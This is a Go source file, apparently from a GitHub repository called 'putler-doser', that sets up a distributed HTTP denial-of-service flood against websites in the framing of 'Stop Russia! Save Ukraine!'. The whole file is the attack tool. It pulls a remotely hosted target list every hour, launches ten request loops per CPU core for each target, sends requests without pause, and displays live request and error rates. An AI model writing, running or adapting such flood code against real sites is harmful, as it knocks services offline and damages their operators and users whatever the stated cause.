-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
138 lines (107 loc) · 2.81 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package main
import (
"fmt"
"runtime"
"strings"
"sync/atomic"
"time"
"github.com/gookit/color"
"github.com/valyala/fasthttp"
)
var count uint64
var errors uint64
var urlsInitial []string
var multiplier float32
var client = fasthttp.Client{MaxConnsPerHost: 99999999}
var cpus = runtime.NumCPU()
var firstTime = true
func main() {
runtime.GOMAXPROCS(cpus)
fmt.Println("Stop Russia! " + color.Blue.Render("Save ") + color.Yellow.Render("Ukraine! ") + color.Green.Render(":3"))
go func() {
urlsInitial = getList()
}()
multiplier = 10
startTime := time.Now()
for {
var urls []string
if firstTime {
firstTime = false
for {
if len(urlsInitial) != 0 {
break
}
}
urls = urlsInitial
} else {
urls = getList()
}
nextRefresh := time.Now().Unix() + 3600
for i := 0; i < int(float32(cpus)*multiplier); i++ {
for _, url := range urls {
go func(url string) {
for {
if time.Now().Unix() > nextRefresh {
return
}
sendRequest(url)
atomic.AddUint64(&count, 1)
}
}(url)
}
}
for {
time.Sleep(999 * time.Millisecond)
timeElapsed := float64(time.Since(startTime).Round(1*time.Second)) / 1000000000
fmt.Print("\033[H\033[2J")
fmt.Println("Stop Russia! " + color.Blue.Render("Save ") + color.Yellow.Render("Ukraine! ") + color.Green.Render(":3\n"))
fmt.Println("Urls: " + color.Magenta.Render(len(urls)))
fmt.Print("Requests/s: ")
color.Yellow.Printf("%d\n", uint64(float64(count)/timeElapsed))
fmt.Print("Total requests: ")
color.Yellow.Printf("%d\n", count)
fmt.Print("Successfull requests: ")
color.Green.Printf("%d\n", count-errors)
fmt.Print("Successfull requests/s: ")
color.Green.Printf("%d\n", uint64(float64(count-errors)/timeElapsed))
fmt.Print("Errors: ")
color.Red.Printf("%d\n", errors)
fmt.Print("Time elapsed: ")
fmt.Println(color.Cyan.Render(time.Since(startTime).Round(1 * time.Second)))
if time.Now().Unix() > nextRefresh {
fmt.Print("\033[H\033[2J")
fmt.Println("Fetching urls...")
break
}
}
}
}
func sendRequest(host string) {
req := fasthttp.AcquireRequest()
req.SetRequestURI(host+"PutinBad!"+"SaveUkraine!")
res := fasthttp.AcquireResponse()
err := client.Do(req, res)
if err != nil {
atomic.AddUint64(&errors, 1)
}
fasthttp.ReleaseRequest(req)
}
func getList() []string {
for {
req := fasthttp.AcquireRequest()
req.SetRequestURI("https://raw.githubusercontent.com/metastck/putler-doser/master/list.txt")
res := fasthttp.AcquireResponse()
err := client.Do(req, res)
if err != nil {
time.Sleep(5 * time.Second)
continue
}
fasthttp.ReleaseRequest(req)
var lines []string
linesRaw := strings.Split(string(res.Body()), "\n")
for _, line := range linesRaw {
lines = append(lines, strings.Trim(line, "\r"))
}
return lines
}
}